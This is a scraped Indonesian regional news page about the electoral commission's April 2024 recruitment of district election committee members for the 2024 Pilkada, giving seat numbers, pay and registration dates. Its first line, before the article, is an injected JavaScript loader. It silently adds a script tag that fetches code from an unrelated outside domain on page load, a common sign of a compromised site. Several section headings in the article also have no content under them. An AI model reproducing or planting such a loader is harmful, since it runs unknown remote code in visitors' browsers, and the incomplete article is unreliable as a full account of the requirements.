(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Komisi Pemilihan Umum (KPU) membuka perekrutan Panitia Pemilihan Kecamatan (PPK) Pemilihan Kepala Daerah (Pilkada) serentak 2024 dari tanggal 23 hingga 29 April 2024.
PPK Pilkada sendiri merupakan sebuah badan yang didirikan oleh KPU Kabupaten/Kota untuk mengadakan Pemilihan Kepala Daerah dan Wakil Kepala Daerah di tingkat kecamatan.
Jumlah anggota PPK adalah lima orang, terdiri dari satu orang ketua dan empat anggota lainnya. Ketua PPK dipilih dari kalangan anggota PPK itu sendiri. Diketahui, pendaftaran anggota PPK Pilkada 2024 tersedia untuk 36.385 posisi yang akan ditempatkan di 7.277 kecamatan.
Komisi Pemilihan Umum (KPU) membuka perekrutan Panitia Pemilihan Kecamatan (PPK) Pemilihan Kepala Daerah (Pilkada) serentak 2024 dari tanggal 23 hingga 29 April 2024.
Baca juga: Relokasi Normalisasi Sungai Kuranji di Cempaka Warga Ada yang Tak Setuju
Berikut ini adalah persyaratan, gaji, dan prosedur pendaftarannya.
Syarat PPK Pilkada 2024
Dikutip dari situs siakba.kpu.go.id, berikut ini adalah ketentuan pendaftaran PPK Pilkada 2024:
Baca juga: Rumah Kosong di Lingkar Dalam Selatan Banjarmasin Terbakar
Persyaratan Berkas PPK Pilkada 2024
Baca juga: Pansus II DPRD Kapuas Gelar Rapat, Ini Raperda yang Dibahas
Cara Daftar PPK Pilkada 2024
Anggota KPU RI Parsadaan Harahap menyatakan bahwa proses pengangkatan badan ad hoc Pilkada Serentak 2024 tetap akan menggunakan Sistem Informasi Anggota KPU dan Badan Ad Hoc (SIAKBA) seperti pada Pemilu 2024. Meskipun demikian, menurutnya, pendaftaran juga bisa dilakukan di KPU kabupaten/kota dengan beberapa kondisi tertentu. Misalnya pabila terdapat kendala terkait dengan jaringan, sinyal, dan sistem di seluruh Indonesia di beberapa daerah maka pendaftaran dapat langsung dilakukan di KPU kabupaten/kota terkait.
Baca juga: Kebakaran di Jalan Al Madani Lingkar Dalam Selatan Banjarmasin
Koordinator Divisi Sumber Daya Manusia, Organisasi, Pendidikan dan Pelatihan, dan Penelitian dan Pengembangan KPU RI tersebut juga menjelaskan bahwa kedua alternatif itu adalah cara untuk mendaftar sebagai badan ad hoc Pilkada 2024.
Gaji PPK Pilkada 2024
Dilansir dari berbagai sumber, diketahui bahwa upah atau gaji ketua PPK Pilkada 2024 adalah sebesar Rp2,5 juta, sedangkan upah untuk anggota adalah sebesar Rp2,2 juta.
Berikut ini adalah jadwal perekrutannya:
1.Pendaftaran calon anggota PPK: 23 hingga 29 April 2024
Demikianlah informasi mengenai rekrutmen PPK Pilkada 2024 yang perlu disimak. (Kanalkalimantan/Suara.com/kk)
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.